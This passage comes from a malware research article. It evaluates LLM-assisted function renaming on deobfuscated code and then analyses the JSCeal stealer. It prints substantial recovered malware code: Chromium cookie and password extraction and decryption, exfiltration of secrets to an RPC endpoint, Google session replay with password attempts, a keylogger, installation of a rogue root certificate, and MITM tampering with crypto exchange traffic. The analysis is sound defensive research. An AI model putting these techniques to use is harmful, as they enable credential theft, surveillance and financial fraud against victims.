This evaluation should be treated as an example, not as a ranking. The results of one of the experiments are available in the repository of the supplementary materials [ 8 ] ( session1 ). Across more than 21,000 functions, the two models selected exactly the same textual name only  9.3%  of the time. This provided a broad measure of naming agreement, but not of semantic correctness. Different names can describe the same behavior while failing an exact-string comparison. We therefore performed a separate contextual evaluation on  142 selected function trees , each built from a selected root toward its dependencies. Across  142 selected roots : both proposed names were semantically reasonable in  117  cases; only the Sonnet name held up in  22  cases; only the GPT name held up in  3  cases. When we applied a stricter criterion — whether the name was both correct and sufficiently informative about the function’s actual role — Sonnet produced  128/142  useful names, while GPT produced  30/142 . In another  90  cases, the GPT name still identified the correct general area of behavior but was too broad or imprecise to serve as a strong semantic label. A representative example is a function that locates a certificate in the Windows certificate store and removes it. GPT labeled it  findCertificate , capturing part of the implementation but missing the function’s effect. Sonnet proposed  removeCertificate , which better described the behavior. Sonnet was not infallible either. In one case, it proposed  decryptLocalStateFile , while the function actually read and decrypted a DPAPI master-key file from the Windows Protect directory and verified its HMAC. The label sounded plausible because the surrounding code dealt extensively with browser decryption, but the function body did not support that exact interpretation. These examples define the boundary of the method.  The proposed name is a hypothesis. The function body is the evidence. Strings, APIs, file paths, called functions, and data flow remain the basis for every important analytical claim. The LLM stage helps us find and navigate relevant logic faster; it does not replace reverse engineering. Example:  getGlobalAgent The running example from the earlier deobfuscation stages is a good illustration. After string recovery, control-flow unflattening, and proxy/operation cleanup, its behavior is already visible: it normalizes a protocol and returns the appropriate HTTP or HTTPS global agent. The model proposed the name  getGlobalAgent , which is well supported by the body: function getGlobalAgent(url) { const protocol = url.split(":")[0]; if (protocol === "http") { return http.default.globalAgent; } if (protocol === "https") { return https.default.globalAgent; } if (protocol === "ws") { return http.default.globalAgent; } if (protocol === "wss") { return https.default.globalAgent; } throw new Error("Invalid protocol"); } The useful part is not that the model “discovered” the behavior. The static pipeline had already exposed it. The name simply compresses that understanding into a label that can be propagated into higher-level callers. Overview of the deobfuscated code Although all the JSCeal payloads have similarities, their exact functionality may vary. In this part we will do a brief case study based on one selected sample: MD5:  e27ae65977287bdfb7b0e15fd3603f85  (details:  Appendix B ) The deobfuscated result used in this analysis can be found [ here ]. The corresponding function names mapping is available in the data repository [ 8 ]:  names_greedy_bulk_claude-sonnet-4-6.normalized.csv . Details of the campaign delivering this particular payload are given in Microsoft’s article [ 12 ] and Cato article [ 13 ]. Note that a comprehensive analysis of JSCeal’s capabilities is beyond the scope of this article; here we highlight selected functions to demonstrate that the deobfuscated output is sufficient for practical threat analysis. Initialization After cleaning up the whole flow, the start function becomes much smaller. We additionally applied the optional LLM-assisted renaming stage in greedy mode, which makes the recovered function graph easier to navigate. Multiple structures are initialized in the start function. The proposed labels provide useful hints about their roles; the relevant behavior can then be verified by inspecting the recovered function bodies. From the recovered assignments, we can see that a structure prepared locally is then copied into a global variable. For example: global_Nm = {} r3 = new {"default": null, "disableOverrideQR": null, "overrideQR": null} r3["default"] = func_getPm_0x10000bdcb r3["disableOverrideQR"] = func_getRemoveElementFn_0x10000bdcc r3["overrideQR"] = func_getQrLoginInitiator_0x10000bdcd ACCU = func_defineGetterProperties_0x100003170(global_Nm, r3) The initialization of the actual malware logic is always at the end of the start function. Since all the functions are called directly now (not via proxies), and are renamed, we can quickly focus on those that actually initialize the malware functionalities. global_s7e = {} global_G7e = {} ACCU = func_requireCluster_0x10000317e() r1 = (require("dns"))["setServers"] r3 = new [0, 0] r3[0] = "1.1.1.1" r3[1] = "8.8.8.8" ACCU = r1(r3) ACCU = func_setupWorkerPrimary_0x100000001(__filename) if (func_setupWorkerPrimary_0x100000001(__filename)) { ACCU = func_initializeApplication_0x10000c926() ACCU = func_markEsModule_0x10000317b(global_s7e) } else { ACCU = func_initializeModules_0x10000d2fe() ACCU = func_markEsModule_0x10000317b(global_G7e) } r0 = ACCU return ACCU } As we can see above, there are two alternative initialization functions, both leading to the setup of handlers for the core functionality. The decision about which path to follow is made by the function labeled  func_setupWorkerPrimary_0x100000001 , which returns true when the code is running in the primary cluster process and on the main thread. It also configures the primary cluster process to use  "advanced"  serialization. function func_setupWorkerPrimary_0x100000001(a0) { if (!global_uE["default"]["isPrimary"]) || (!(require("worker_threads"))["isMainThread"]) { return false } if ((a0)) { ACCU = Error ACCU = Error("Worker root already configured") } r4 = global_uE["default"] if (r4["isPrimary"]) { r4 = global_uE["default"]["setupPrimary"] r6 = new {"serialization": null} r6["serialization"] = "advanced" ACCU = r4(r6) } return true } Originally, both initialization functions that follow the decision were obfuscated with Control Flow Flattening, and used wrapped calls. Now their meaning is much clearer, and the inner function names give us a better approximation of what to expect. Variant 1 (primary, main thread): function func_initializeApplication_0x10000c926() { r4 = 0 ACCU = func_initializeFaroClient_0x100005504() ACCU = func_initializeMainRouter_0x10000c910() ACCU = func_initLevelDbModule_0x10000a912() ACCU = func_initializeMachineIdModule_0x10000c915() ACCU = func_initializeModules_0x10000c91e() ACCU = func_runMigrations_0x100000ab3() return undefined } Variant 2 (worker path): function func_initializeModules_0x10000d2fe() { r4 = 0 ACCU = func_initializeAsarRouter_0x10000d28b() ACCU = func_initializeScreenCaptureModule_0x10000d2e3() ACCU = func_initSecurityModule_0x10000d2ef() ACCU = func_initializeNotificationModule_0x10000d2f9() return undefined } Comparing the initialization functions across different payloads can quickly give us an approximate idea of what has changed (although the structure is not always directly comparable). Let’s zoom in on one of the functions called from this initializer:  func_initializeMainRouter_0x10000c910 . It sets up a large collection of handlers, and the proposed names give a quick indication of what to expect inside: function func_initializeMainRouter_0x10000c910() { r4 = 0 ACCU = func_initMetaRouter_0x100005537() ACCU = func_initializePowerRouter_0x100005929() ACCU = func_initScreencastRouterModule_0x10000678b() ACCU = func_initKeydownRouterModule_0x10000679f() ACCU = func_initializeTerminalRouter_0x100006e0e() ACCU = func_initializeFileSystemRouter_0x100006efa() ACCU = func_initializeProcessRouter_0x100006f11() ACCU = func_initializeWindowsRouter_0x100007038() ACCU = func_initializeAppRouter_0x100009ef2() ACCU = func_initializeNgcRouter_0x10000a98f() ACCU = func_initializeRouterModule_0x10000a99e() ACCU = func_initializeBrowserRouter_0x10000b83a() ACCU = func_initTelegramModule_0x10000b862() ACCU = func_initializeSslProxyModule_0x10000be35() ACCU = func_initializeRouterModule_0x10000bffa() ACCU = func_initializeServerModule_0x10000c8bb() ACCU = func_initializeNotificationRouter_0x10000c8c2() ACCU = func_initializeApplication_0x10000c8cf() ACCU = func_initializeAutounattendModule_0x10000c8e7() ACCU = func_initRecoveryModule_0x10000c8f3() ACCU = func_initSystemControlModule_0x10000c8fe() r10 = new {"power": null, "screen": null, "keyboard": null, "terminal": null, "filesystem": null, "processes": null, "windows": null, "asar": null, "ngc": null, "checker": null, "chromium": null, "telegram": null, "proxy": null, "reverseProxy": null, "server": null, "toast": null, "machine": null, "unattend": null, "winRE": null, "tools": null} r10["power"] = global_DP r10["screen"] = global_QX r10["keyboard"] = global_RX r10["terminal"] = global_YX r10["filesystem"] = global_iG r10["processes"] = global_oG r10["windows"] = global_aG r10["asar"] = global_oj r10["ngc"] = global_iz r10["checker"] = global_sz r10["chromium"] = global_EK r10["telegram"] = global_pK r10["proxy"] = global_HK r10["reverseProxy"] = global_tU r10["server"] = global_pU r10["toast"] = global_gU r10["machine"] = global_VU r10["unattend"] = global__U r10["winRE"] = global_yU r10["tools"] = global_kU global_RL = (global_Nh["router"])(r10) return undefined } The structure is a tRPC router tree: each  initialize*Router  or  initialize*Module  call builds a set of procedures and assigns them to a global. The same  router  /  procedure  /  query  /  mutation  pattern recurs throughout the payload, including in the security, screen capture, and cryptocurrency modules shown later. For example: function func_initSecurityModule_0x10000d2ef() { Scope[6][6] = func_n_0x10000d2e4 r5 = func_initializeNativeModule_0x1000054f8["exports"]() global_JB = func_interopRequireWildcard_0x10000317a(r5) ACCU = func_requireCluster_0x10000317e() ACCU = func_noop_0x10000a9a0() ACCU = func_initClusterModule_0x10000cdef() r2 = (func_createInstance_0x100000ab5())["router"] r4 = new {"getUserDirectory": null} r6 = (func_createInstance_0x100000ab5())["procedure"] r5 = r6["query"] r4["getUserDirectory"] = r5(func_getUserDirectory_0x10000d2ec) global_OL = r2(r4) ACCU = func_runIfWorkerPool_0x10000000b(("security-impersonation"), func_impersonateUserAndInit_0x10000d2ee) return undefined } // the handler: function func_impersonateUserAndInit_0x10000d2ee(a0) { r1 = global_JB["impersonateUserSecurity"] ACCU = r1(a0) ACCU = func_initWorkerSocket_0x100000abd(global_OL) return undefined } Initialization functions frequently end by registering a worker thread to run the handlers they just built. Here  func_runIfWorkerPool_0x10000000b  binds the  security-impersonation  pool to  func_impersonateUserAndInit_0x10000d2ee , which impersonates a user security context before attaching the router to a worker socket. The remaining modules follow the same shape; below we look at the ones that expose the most capability. Uploading collected data Among the recovered initialization functions are routers that register handlers for collected secrets. Following those handlers downstream shows how the local routes reach the malware’s network client. function func_initializeApplicationsRouter_0x10000c8a5() { Scope[604][4] = func_n_0x10000c89e r3 = 0 ACCU = func_initializeNetworkClient_0x100006702() ACCU = func_initializeDatabase_0x10000c895() ACCU = func_unknown_0x10000590f() r6 = global_fi["object"] r8 = new {"application": null, "value": null} r8["application"] = global_fi["string"]() r8["value"] = global_fi["string"]() global_DL = r6(r8) r9 = new {"secrets": null} r13 = new {"save": null} r17 = (global_DB["procedure"])["input"] r17 = r17(global_DL) r16 = r17["meta"] r18 = new {"openapi": null} r19 = new {"method": null, "path": null} r19["method"] = "POST" r19["path"] = "/applications/secrets/save" r18["openapi"] = r19 r16 = r16(r18) r15 = r16["output"] r17 = global_fi["void"] r17 = r17() r15 = r15(r17) r14 = r15["mutation"] r13["save"] = r14(func_saveApplicationSecretHandler_0x10000c8a4) r9["secrets"] = (global_DB["router"])(r13) global_fU = (global_DB["router"])(r9) return undefined } An analogous route handles collected wallet mnemonic data through  /wallets/mnemonic/save : function func_initializeMnemonicRouter_0x10000c89d() { [...] r11["path"] = "/wallets/mnemonic/save" [...] r5["saveMnemonic"] = r6(func_saveMnemonicHandler_0x10000c89c) // leads to: func_saveMnemonic_0x1000005dc } The handler passes the record type, collected value, mutation callback, and fields used by the common diff/save helper to  global_hl . After computing whether the new value changes the stored state, the helper invokes the corresponding  global_iB  mutation when a save is required. function func_saveMnemonic_0x1000005dc(a0) { r7 = "mnemonic" r9 = global_iB["wallets"]["saveMnemonic"] r9 = r9["mutate"] r11 = new [0] r11[0] = "words" r5 = r2 return global_hl(r7, a0, r9, r11) } The initializer ( func_initializeNetworkClient_0x100006702 )  wires  global_iB  to two actual transports :  the  RequestLink  uses  func_sendBinaryData_0x100006700 , while its  SocketLink  uses  func_connectWebSocket_0x1000066ff . See the original function [ here ]. Following  func_sendBinaryData_0x100006700  shows where the HTTP path leads next: function func_sendBinaryData_0x100006700() { r1 = ... r0 = ... r3 = undefined r4 = func_buildRpcUrl_0x1000004c7("https", ("")) return func_postBinaryData_0x1000004c4(...r3, r4, r1) } There is an analogous function for the WebSocket: function func_connectWebSocket_0x1000066ff() { r1 = func_buildRpcUrl_0x1000004c7("wss") ACCU = func_createWriteStream_0x100005cb8 return func_createWriteStream_0x100005cb8(r1) } The URL builder constructs an RPC endpoint in the form  https://api.<domain>/rpc  or  wss://api.<domain>/rpc , and adds  machineId  and  token  query parameters. function func_buildRpcUrl_0x1000004c7(a0, a1) { ... r7 = (a0 + "://api.") r7 = (r7 + global_CE) r5 = (r7 + "/rpc") r11 = new {"machineId": null, "token": null} r11["machineId"] = global_cE r11["token"] = r1 return func_buildUrlWithParams_0x1000002a6(r5, r11) } The HTTP transport ultimately performs a binary POST: function func_postBinaryData_0x1000004c4(a0, a1, a2) { ... r7 = global__b["post"] r11 = new {"headers": null, "responseType": null, "signal": null} r12 = new {"content-type": null} r12["content-type"] = "application/octet-stream" r11["headers"] = r12 r11["responseType"] = "arraybuffer" r8 = r7(a0["toString"](), a1, r11) r7 = await r8 ... } It submits the supplied binary payload as  application/octet-stream  and expects an  arraybuffer  response. Stealing browser data The browser module is one of the broader components recovered from the payload. Rather than implementing a parser for a single Chrome profile, JSCeal defines a common abstraction for several Chromium-based browsers. In the analyzed sample, the configuration includes Google Chrome, Microsoft Edge, Brave, Opera, Opera GX, Avast Secure Browser, Vivaldi, and Cốc Cốc. For each browser, the malware stores the executable name and the expected location of its user-data directory. Some entries also contain browser-specific launch arguments, extension settings, and cryptographic material. A fragment of the configuration is shown below: function func_initializeBrowserConfig_0x10000a9ad(a0) { [...] r6 = new {"browsers": null, "extensions": null} r7 = new {"CHROME_BROWSER": null, "EDGE_BROWSER": null, "BRAVE_BROWSER": null, "OPERA_BROWSER": null, "OPERA_GX_BROWSER": null, "AVAST_BROWSER": null, "VIVALDI_BROWSER": null, "COCCOC_BROWSER": null} r8 = new {"executable": null, "userData": null, "hmacKey": null, "serviceKeys": null, "msi": null} r8["executable"] = "chrome.exe" r9 = r1["join"] r8["userData"] = r9("AppData", "Local", "Google", "Chrome", "User Data") r8["hmacKey"] = func_base64ToBuffer_0x10000a9a9("50jzNthepfnc3yXY80emW0zfZnYA8C32ckoq8YohLSa3iKJQhpEM86kDE2locfPcBYI3MMkd+LpcT9nIhLUFqA==") r9 = new {"v1": null, "v2": null, "v3": null} r9["v1"] = func_base64ToBuffer_0x10000a9a9("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=") r9["v2"] = func_base64ToBuffer_0x10000a9a9("6Y831/Th+kM9GTBNwiWAQgkOLR1+6nZw1B9zjQhylmA=") r10 = new {"name": null, "value": null} r10["name"] = "Google Chromekey1" r10["value"] = func_base64ToBuffer_0x10000a9a9("zPihzsVmBbhRdVK6Gi0GHAOinpAnT7L89Zukt1w5I5A=") r9["v3"] = r10 r8["serviceKeys"] = r9 [...] You can see the full function [ here ]. The code reads the browser’s  Local State  file and uses its  profile.info_cache  structure to enumerate available profiles. Each profile is then represented by an object exposing separate iterators for the artifacts that can be collected: iterCookies iterLogins iterSessions iterTokens iterHistoryURLs iterBookmarks iterExtensions The  Local State  file also contains information required to decrypt protected browser data. JSCeal retrieves both the traditional encrypted key and the newer App-Bound encrypted key: function func_readEncryptionKeys_0x10000b6e9(a0, a1, a2) { Scope[1593][3] = a1 Scope[1593][2] = a2 r6 = <closure> r7 = <this> r0 = a2 ACCU = func_b_0x10000b6e6 Scope[1593][4] = func_b_0x10000b6e6 try { r7 = Scope[1591][11]["join"] r1 = r7(a0, "Local State") r7 = Scope[1591][9]["readJSON"] r8 = r7(r1) r7 = r0 r7 = await r8 r8 = _GeneratorGetResumeMode(r0) if (!r8 === 0) { ACCU = r7 } r3 = r7["os_crypt"]["encrypted_key"] r4 = r7["os_crypt"]["app_bound_encrypted_key"] r7 = new {"key": null, "appBoundKey": null} r7["key"] = func_decodeBase64Buffer_0x10000b6eb(r3, func_decryptKey_0x10000b6e7) r7["appBoundKey"] = func_decodeBase64Buffer_0x10000b6eb(r4, func_decryptAppBoundKey_0x10000b6e8) r8 = r7 r7 = r0 ACCU = r8 return r8 } catch {} r7 = ACCU ACCU = null ACCU = Scope[1594] r8 = r0 return Scope[1594][2] } Note: the  _GeneratorGetResumeMode  check is V8’s internal mechanism for resuming after an  await ; it can be treated as control-flow bookkeeping. Cookies are read directly from the SQLite database located at: <profile>\Network\Cookies The query retrieves both plaintext and encrypted values, along with the host, path, expiry time,  HttpOnly  flag, and  SameSite  setting: SELECT host_key, path, name, CAST(value AS BLOB) AS plain_value, CAST(encrypted_value AS BLOB) AS encrypted_value, is_httponly, samesite, expires_utc FROM cookies If a plaintext value is not present, the encrypted value is passed to the browser-data decryption routine. The resulting record is normalized into a structure such as: { host: host_key, path: path, name: name, value: decryptedValue, httpOnly: isHttpOnly, sameSite: sameSite, expiresAt: expiryDate } Saved credentials are handled in a similar way. JSCeal opens the  Login Data  database and extracts the origin, username, and encrypted password: SELECT origin_url, username_value, password_value FROM logins Original snippet [ here ]. After decryption, the malware produces a structured credential record: { origin: row["origin_url"], username: row["username_value"], password: decryptedPassword } The decryption implementation supports multiple Chromium data formats. Values prefixed with  v10  or  v11  are decrypted using the key recovered through DPAPI. Values prefixed with  v20  use the App-Bound key. Records without one of these prefixes are passed directly to the native DPAPI unprotection routine, optionally under the security context of the browser’s user session. The responsible code: function func_decryptPassword_0x10000af0f(a0, a1, a2, a3) { r1 = Scope[1930][27]["startsWith"] if (r1(a0, "v10")) r1 = Scope[1930][27]["startsWith"] || (r1(a0, "v11")) { if (!a1) { ACCU = Error ACCU = Error("DPAPI key is required") } r4 = a0["subarray"] r4 = r4(3) return func_decryptAesGcm_0x10000af16(r4, a1) } r1 = Scope[1930][27]["startsWith"] if (r1(a0, "v20")) { if (!a2) { r2 = "AppBound key is required" ACCU = Error ACCU = Error(r2) } r4 = a0["subarray"] r4 = r4(3) return func_decryptAesGcm_0x10000af16(r4, a2) } if (a3 == null) { ACCU = Error ACCU = Error("Session id is required") } return func_decryptData_0x10000af12(a0, a3) } This gives JSCeal access not only to raw browser files, but to usable records containing session cookies, usernames, and decrypted passwords. The data can be saved through the malware’s collection handlers, consumed by platform-specific modules, or reused immediately by another part of the browser component. One of those uses goes beyond passive credential collection. From stolen browser data to active session replay The browser router contains a dedicated operation named  saveAndroidTokens : r9 = new {"start": null, "saveProfiles": null, "saveExtensions": null, "saveAndroidTokens": null, "openLink": null} [...] r10 = (global_Nh["procedure"])["mutation"] r9["saveAndroidTokens"] = r10(func_processBrowserCookies_0x1000006d5) [...] Original snippet [ here ]. The implementation uses Puppeteer together with  puppeteer-extra . Before launching the browser, it registers a set of core and stealth plugins. It also uses  ghost-cursor  to perform some of the page interactions. The malware does not download a separate Chromium build. It launches one of the browsers already installed on the machine, using the executable paths and profiles discovered by the browser module. The launch configuration explicitly selects Puppeteer’s headless shell mode: options["executablePath"] = browserExecutable options["headless"] = "shell" browser = puppeteer.launch(options) You can see the full function [ here ]. JSCeal first creates a page and injects cookies recovered from the victim’s browser profile: page = await browser.newPage() await page.setCookie(...recoveredCookies) It then opens Google’s Android authentication endpoint: https://accounts.google.com/o/android/auth?return_user_id=true You can see the full function [ here ]. The navigation waits until network activity has settled: await page.goto( "https://accounts.google.com/o/android/auth?return_user_id=true", { waitUntil: "networkidle2" } ) You can see the full function [ here ]. Once the page is loaded, the malware enumerates the Google accounts displayed in the current session: const elements = await page.$$("div[data-email]") Original snippet [ here ]. For each recovered email address, it queries the passwords previously extracted from browser storage. It then selects the corresponding account using a selector built from the email address: await cursor.click( "div[data-identifier=\"" + email + "\"]" ) You can see the full function [ here ]. The automation handles multiple branches of Google’s authentication flow, including: /signinchooser /signin/confirmidentifier /signin/challenge /signin/challenge/selection /signin/challenge/pwd /oauth2/programmatic_auth You can see the full function [ here ]. When a password challenge is reached, JSCeal iterates over the candidate passwords associated with that account: for (password of recoveredPasswords) { console.info("Trying password " + password) await page.type( "input[type='password']", password ) // Continue the authentication flow and inspect the result. } You can see the full function [ here ]. An invalid password is detected through the state of the password input. A successful attempt is expected to lead either to the programmatic OAuth endpoint or to another supported challenge stage. After authentication, the malware reads the browser’s cookies and searches specifically for: user_id oauth_token The result is returned together with the password that produced it: { userId: userIdCookie, token: oauthTokenCookie, password: successfulPassword } Finally, the token is saved through the malware’s Google handler with its scope explicitly marked as  ANDROID : await google.saveOAuthToken.mutate({ userId: userId, scope: "ANDROID", value: token }) You can see the full function [ here ]. This changes the nature of the browser-stealing capability. JSCeal does not just copy cookies and password databases for later examination by the attacker. It can reconstruct a browser session, replay the victim’s cookies, correlate Google accounts with passwords recovered from the same host, automate authentication challenges, and obtain a fresh OAuth token. The use of stealth plugins and  ghost-cursor  suggests an attempt to reduce obvious automation fingerprints and make interaction with the login pages resemble ordinary browser activity. It does not guarantee that the procedure succeeds against every version of Google’s authentication flow, but the deobfuscated code clearly shows that the complete workflow was implemented. Not every browser-related operation uses Puppeteer. A separate  openLink  handler launches an installed browser directly with the selected  --user-data-dir  and  --profile-directory . Puppeteer is used for the more involved operation where JSCeal needs to inject cookies, navigate between authentication stages, interact with page elements, and retrieve the resulting authentication state. Spying functionality The function labeled  func_initializeScreenCaptureModule_0x10000d2e3  is indeed responsible for setting up screenshot capture, but its scope goes beyond that. Inside we also find a keylogger and handlers for enumerating and manipulating visible windows. The inner functions carry more granular labels —  func_takeScreenshot_0x10000d2d1 ,  func_getVisibleWindows_0x10000d2d3 ,  func_controlWindow_0x10000d2d4 ,  func_initKeyboardCapture_0x10000d2e1  — and taken together they reveal what the parent name understates. Examining each function manually confirms that this is a broader surveillance module. function func_initializeScreenCaptureModule_0x10000d2e3() { Scope[7][10] = func_c_0x10000d2c7 r5 = func_initializeNativeModule_0x1000054f8["exports"]() global_K5 = func_interopRequireWildcard_0x10000317a(r5) r5 = func_initKeyboardModule_0x10000d2c6["exports"]() global_e6 = func_interopRequireWildcard_0x10000317a(r5) ACCU = func_requireCluster_0x10000317e() ACCU = func_noopDispose_0x10000676f() ACCU = func_initClusterModule_0x10000cdef() ACCU = func_initializeObservableAbortError_0x100006649() ACCU = func_noopSetup_0x100006778() ACCU = func_noopHandler_0x10000673e() ACCU = func_unknown_0x10000590f() ACCU = func_initializeBufferCheck_0x10000701a() r6 = global_e6["keyboard"]["start"] r5 = r6["bind"] r5 = r5(global_e6["keyboard"]) r7 = global_e6["keyboard"]["stop"] r6 = r7["bind"] r6 = r6(global_e6["keyboard"]) global_TL = func_createAbortableStream_0x1000004e4(r5, r6) r2 = (func_createInstance_0x100000ab5())["router"] r4 = new {"screenshot": null, "windows": null, "keydown": null} r7 = (func_createInstance_0x100000ab5())["procedure"] r6 = r7["input"] r9 = global_fi["number"]() r8 = r9["optional"] r8 = r8() r6 = r6(r8) r5 = r6["query"] r4["screenshot"] = r5(func_takeScreenshot_0x10000d2d1) r5 = (func_createInstance_0x100000ab5())["router"] r7 = new {"visible": null, "control": null, "flash": null} r9 = (func_createInstance_0x100000ab5())["procedure"] r8 = r9["query"] r7["visible"] = r8(func_getVisibleWindows_0x10000d2d3) r10 = (func_createInstance_0x100000ab5())["procedure"] r9 = r10["input"] r11 = global_fi["object"] r13 = new {"handle": null, "command": null} r13["handle"] = global_fi["number"]() r17 = func_getObjectKeys_0x1000004ce(global_K5["windowCommands"]) r13["command"] = func_enumValue_0x100000542(r17) r11 = r11(r13) r9 = r9(r11) r8 = r9["mutation"] r7["control"] = r8(func_controlWindow_0x10000d2d4) r10 = (func_createInstance_0x100000ab5())["procedure"] r9 = r10["input"] r11 = global_fi["number"]() r9 = r9(r11) r8 = r9["mutation"] r7["flash"] = r8(func_flashWindow_0x10000d2d5) r4["windows"] = r5(r7) r6 = (func_createInstance_0x100000ab5())["procedure"] r5 = r6["subscription"] r4["keydown"] = r5(func_initKeyboardCapture_0x10000d2e1) global_LL = r2(r4) ACCU = func_runIfWorkerPool_0x10000000b(("sessions"), func_initWorkerSocketLL_0x10000d2e2) return undefined } Interception proxy and targeted traffic manipulation A common technique used by banking trojans is to install a local proxy and inject or modify web content in selected services. JSCeal follows a similar pattern: the recovered code shows proxy setup, certificate generation and installation, and service-specific request and response modification. There is a function that runs the local proxy: function func_setLocalProxy_0x10000be31(a0) { r2 = ("127.0.0.1:" + Scope[1139][4]) return func_setProxyLoop_0x100000a41(a0, r2) } We can find a function that generates a certificate: function func_generateKeyPairAndCertificate_0x10000072c() { r6 = (require("crypto"))["generateKeyPairSync"] r7 = "rsa" r8 = new {"modulusLength": 2048, "publicKeyEncoding": null, "privateKeyEncoding": null} r9 = new {"type": null, "format": null} r9["type"] = "pkcs1" r9["format"] = "pem" r8["publicKeyEncoding"] = r9 r9 = new {"type": null, "format": null} r9["type"] = "pkcs8" r9["format"] = "pem" r8["privateKeyEncoding"] = r9 r6 = r6(r7, r8) r3 = r6["privateKey"] r4 = func_generateSelfSignedCertificate_0x10000071d(4096) r6 = new {"privateKey": null, "certificate": null} r6["privateKey"] = r3 r6["certificate"] = r4 return r6 } Then, it installs a locally generated, attacker-controlled root certificate onto the victim machine, first dropping it as a temporary file, and then using  certutil  to add it to the local store. function func_installCertificate_0x100000a3e(a0) { r6 = <closure> r7 = <this> ACCU = func_n_0x100000a3c try { r8 = global_UK["tmpName"]() r7 = await r8 r8 = _GeneratorGetResumeMode(Scope[10601]) if (!r8 === 0) { ACCU = r7 } r3 = r7 ACCU = r3 try { r10 = (require("fs/promises"))["writeFile"] r11 = r10(r3, a0) r10 = await r11 r11 = _GeneratorGetResumeMode(Scope[10601]) if (!r11 === 0) { ACCU = r10 } r13 = "certutil" r15 = new [0, "-f", 0, 0] r15[0] = "-addstore" r15[2] = "root" r15[3] = r3 r11 = r2 r11 = func_spawnChildProcess_0x100000706(r13, r15) r10 = await r11 r11 = _GeneratorGetResumeMode(Scope[10601]) if (!r11 === 0) { ACCU = r10 } ACCU = -1 r8 = -1 r7 = -1 } catch { r8 = ACCU r7 = 0 } r11 = (require("fs/promises"))"rm" r10 = await r11 r11 = _GeneratorGetResumeMode(Scope[10601]) if (!r11 === 0) { ACCU = r10 } ACCU = null if (r7 === 0) { ACCU = r8 } r8 = undefined ACCU = r8 return r8 } catch {} r7 = ACCU ACCU = null ACCU = Scope[10602] return Scope[10602][2] } The proxy is not limited to passive interception. The recovered code contains dedicated handlers that modify selected requests and responses for specific services. A configuration function exposes separate overrides for Binance, Bybit, and Ledger, as well as generic handlers for replacing HTML, blocking hosts, and clearing selected cookies. function func_applyInputOverrides_0x10000be34(a0) { ACCU = a0["input"]["binance"] r2 = a0["input"]["binance"] if (!a0["input"]["binance"] == undefined) { ACCU = r2["overrideQR"] } else { ACCU = undefined } if (ACCU) { r2 = global_Nm["overrideQR"] r4 = a0["input"]["binance"]["overrideQR"] ACCU = r2(r4) } else { ACCU = global_Nm["disableOverrideQR"]() } ACCU = a0["input"]["bybit"] [...] You can see the full function [ here ]. For Binance, JSCeal intercepts the QR-login response and replaces the returned  qrCode  value with a configured value. function func_appendQrCode_0x1000009f1(a0) { if (a0["json"]["success"]) { r2 = a0["json"]["data"] r2["qrCode"] = Scope[10627][2] r2 = new {"json": null} r2["json"] = a0["json"] return r2 } return undefined } The Bybit handlers go further. One forwards intercepted verification components through the same  global_iB  network client described earlier and removes them from the intercepted response. function func_sendBybitCodes_0x100000a09(a0) { Scope[10623][3] = func_x_0x100000a07 r4 = Object["entries"] r6 = a0["json"]["component_list"] r4 = r4(r6) r3 = r4["map"] r1 = r3(func_joinWithColon_0x100000a08) if (r1["length"]) { r5 = global_iB["notifications"]["send"] r4 = r5["mutate"] r7 = r1["join"] r6 = ("Bybit codes\\n" + r7("\\n")) r4 = r4(r6) r3 = r4["catch"] ACCU = r3(func_pushError_0x100000142) } a0["json"]["component_list"] = {} r3 = new {"json": null} r3["json"] = a0["json"] return r3 } Another converts a successful  pass  result into a new  challenge  with a randomly generated risk token. function func_injectRiskToken_0x100000a0d(a0) { if (!a0["json"] == undefined) ACCU = a0["json"]["result"] r4 = a0["json"]["result"] && (!a0["json"]["result"] == undefined) { ACCU = r4["risk_token_type"] } else { ACCU = undefined } r4 = ACCU if (r4 === "pass") { r2 = a0["json"]["result"] r3 = "risk_token" r4 = (require("crypto"))["randomUUID"] r2[r3] = r4() r2 = a0["json"]["result"] r2["risk_token_type"] = "challenge" r2 = new {"json": null} r2["json"] = a0["json"] return r2 } return undefined } A Ledger-specific handler intercepts  /public_resources/analytics.min.js  from  resources.live.ledger.app  and substitutes a generated script that hides the existing React root and displays configured HTML in its place. function func_initErrorDisplay_0x100000a1a(a0) { ACCU = func_removeElement_0x100000a1c() Scope[10617][3] = func_buildErrorDisplayScript_0x100000a1e(a0) r4 = (global_Gm["createChild"]())["get"] r6 = "resources.live.ledger.app" r7 = "/public_resources/analytics.min.js" r8 = new {"response": null} r9 = new {"full": null} r9["full"] = func_createFullBody_0x100000a19 r8["response"] = r9 ACCU = r4(r6, r7, r8) return undefined } Other utility handlers can return arbitrary HTML with a  200  response while stripping CSP and content encoding, return an empty  403  response for selected hosts, or clear selected cookies in intercepted requests and responses. Cryptocurrency account and balance collection JSCeal contains multiple handlers targeting cryptocurrency platforms. One class of handlers intercepts account data and records cryptocurrency balances. For example, Kraken is one of the targeted services. The snippet below shows the corresponding initialization. function func_initKrakenRouter_0x10000bc3e(a0) { Scope[1246][6] = func_a_0x10000bc35 ACCU = a0 if (a0) { ACCU = a0["__importDefault"] } if (!ACCU) { ACCU = func_interopRequireDefault_0x10000bc3a } r1 = ACCU r7 = Object["defineProperty"] r10 = "__esModule" r11 = new {"value": <true} ACCU = r7(a0, r10, r11) r10 = func_initModule_0x10000ba72["exports"]() Scope[1246][7] = r1(r10) r2 = func_initJsonTransformerModule_0x10000ba7b["exports"]() r3 = func_initializeRouterBridgeModule_0x10000ba61["exports"]() r4 = "iapi.kraken.com" r7 = r3["Router"] r5 = r7(r0) r7 = r5["get"] r10 = "/api/internal/account/balance/history" r11 = new {"response": null} r12 = new {"full": null} r13 = r2["jsonTransformer"] r12["full"] = r13(func_saveKrakenBalance_0x10000bc3d) r11["response"] = r12 r8 = r5 ACCU = r7(r4, r10, r11) a0["default"] = r5 return undefined } function func_saveKrakenBalance_0x10000bc3d(a0) { Scope[1247][3] = func_C_0x10000bc3b r4 = a0["json"]["result"]["historical_balances_per_asset_category"] r3 = r4["map"] r1 = r3(func_getLastHistoricalBalance_0x10000bc3c) r4 = Scope[1246][7]["default"] r3 = r4["saveBalance"] if (!r4["saveBalance"] == undefined) { r5 = new {"source": null, "name": null, "value": null} r5["source"] = "EXCHANGE" r5["name"] = "KRAKEN" r5["value"] = r1 ACCU = r3(r5) } else { ACCU = undefined } return undefined } function func_getLastHistoricalBalance_0x10000bc3c(a0) { r0 = a0["historical_balances"] return r0[(a0["historical_balances"]["length"] - 1)] } We extracted platform identifiers from all  